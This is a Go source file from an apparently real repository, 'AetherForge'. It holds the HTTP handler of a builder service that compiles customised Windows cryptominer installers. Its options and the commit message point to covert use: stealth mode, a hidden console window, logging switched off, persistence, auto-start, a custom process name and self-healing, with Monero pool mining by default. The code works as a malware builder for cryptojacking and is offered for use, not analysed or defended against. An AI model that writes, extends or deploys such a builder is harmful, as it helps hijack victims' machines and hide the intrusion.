Files
AetherForge/server/internal/builder/handler.go
drjones 4341121652 Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
2026-05-26 23:46:46 -07:00

457 lines
12 KiB
Go

package builder
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
Error string `json:"error,omitempty"`
}
type Handler struct {
db *db.Database
dataDir string
agentSrcDir string
projectRoot string
goBinPath string
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
goBin := "go"
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
return &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
resp, status, outputPath := h.buildAgent(&req)
if !resp.Success {
writeJSON(w, status, resp)
return
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
http.ServeFile(w, r, outputPath)
return
}
writeJSON(w, http.StatusOK, resp)
}
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
if err != nil {
http.Error(w, "Build not found", http.StatusNotFound)
return
}
if _, err := os.Stat(build.FilePath); err != nil {
http.Error(w, "Build file missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
log.Printf("Failed to copy agent source: %v", err)
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
}
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w -trimpath"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
ldflags += " -H windowsgui"
}
cmd := exec.Command(h.goBinPath, "build", "-ldflags", ldflags, "-o", outputPath, ".")
cmd.Dir = agentDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
output, err := cmd.CombinedOutput()
if err != nil {
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
}
fileInfo, err := os.Stat(outputPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
absPath, _ := filepath.Abs(outputPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
if relPath == "" || strings.HasPrefix(relPath, "..") {
relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
ServerURL: req.ServerURL,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
FilePath: absPath,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
PoolTLS: req.PoolTLS,
PoolPass: req.PoolPass,
}
if err := h.db.InsertBuild(buildRecord); err != nil {
log.Printf("Failed to record build: %v", err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: outputName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
}, http.StatusOK, outputPath
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.WorkerName == "" {
return fmt.Errorf("worker_name is required")
}
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if req.Threads <= 0 {
req.Threads = 4
}
if req.ThreadMode == "" {
req.ThreadMode = "percent"
}
if req.ThreadPercent <= 0 {
req.ThreadPercent = 75
}
if req.ThreadPercent > 100 {
req.ThreadPercent = 100
}
if req.DisplayMode == "" {
if req.SilentMode {
req.DisplayMode = "silent"
} else {
req.DisplayMode = "background"
}
}
if req.Persistence {
req.AutoStart = true
}
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
}
if req.MiningMode == "" {
req.MiningMode = "always"
}
if req.RunAs == "" {
req.RunAs = "user"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
}
if req.IdleDurationMinutes <= 0 {
req.IdleDurationMinutes = 5
}
if req.ScheduleStart == "" {
req.ScheduleStart = "21:00"
}
if req.ScheduleEnd == "" {
req.ScheduleEnd = "06:00"
}
if req.InstallBase == "" {
req.InstallBase = "localappdata"
}
if req.InstallRelativePath == "" {
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
}
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
return fmt.Errorf("install_custom_base is required when install_base is custom")
}
if req.StealthMode {
req.FileLogging = false
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
if req.PoolPort <= 0 {
req.PoolPort = 3333
}
if req.PoolPass == "" {
req.PoolPass = "x"
}
return nil
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
CPUPriority: %q,
MiningMode: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: %q,
PoolPort: %d,
PoolTLS: %v,
PoolPass: %q,
MaxCPUUsage: %d,
MaxMemoryPct: %d,
MinFreeRAM: %d,
IdleThresholdPct: %d,
IdleDurationMinutes: %d,
ScheduleStart: %q,
ScheduleEnd: %q,
InstallBase: %q,
InstallCustomBase: %q,
InstallRelativePath: %q,
AdaptToHardware: %v,
SelfHealing: %v,
FileLogging: %v,
StealthMode: %v,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
req.Wallet,
req.Threads,
req.ThreadMode,
req.ThreadPercent,
req.CPUPriority,
req.MiningMode,
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.AutoStart,
req.ProcessName,
buildID,
time.Now().Unix(),
req.PoolHost,
req.PoolPort,
req.PoolTLS,
req.PoolPass,
req.MaxCPUUsagePct,
req.MaxMemoryPct,
req.MinFreeRAMMB,
req.IdleThresholdPct,
req.IdleDurationMinutes,
req.ScheduleStart,
req.ScheduleEnd,
req.InstallBase,
req.InstallCustomBase,
req.InstallRelativePath,
req.AdaptToHardware,
req.SelfHealing,
req.FileLogging,
req.StealthMode,
)
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
relPath, err := filepath.Rel(srcDir, path)
if err != nil {
return err
}
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
return nil
}
destPath := filepath.Join(destDir, relPath)
if info.IsDir() {
return os.MkdirAll(destPath, 0755)
}
if info.Mode()&os.ModeSymlink != 0 {
return nil
}
ext := filepath.Ext(path)
base := filepath.Base(path)
if ext != ".go" && base != "go.mod" && base != "go.sum" {
return nil
}
return copyFile(path, destPath)
})
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
return err
}
out, err := os.Create(dest)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return replacer.Replace(name)
}
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
json.NewEncoder(w).Encode(v)
}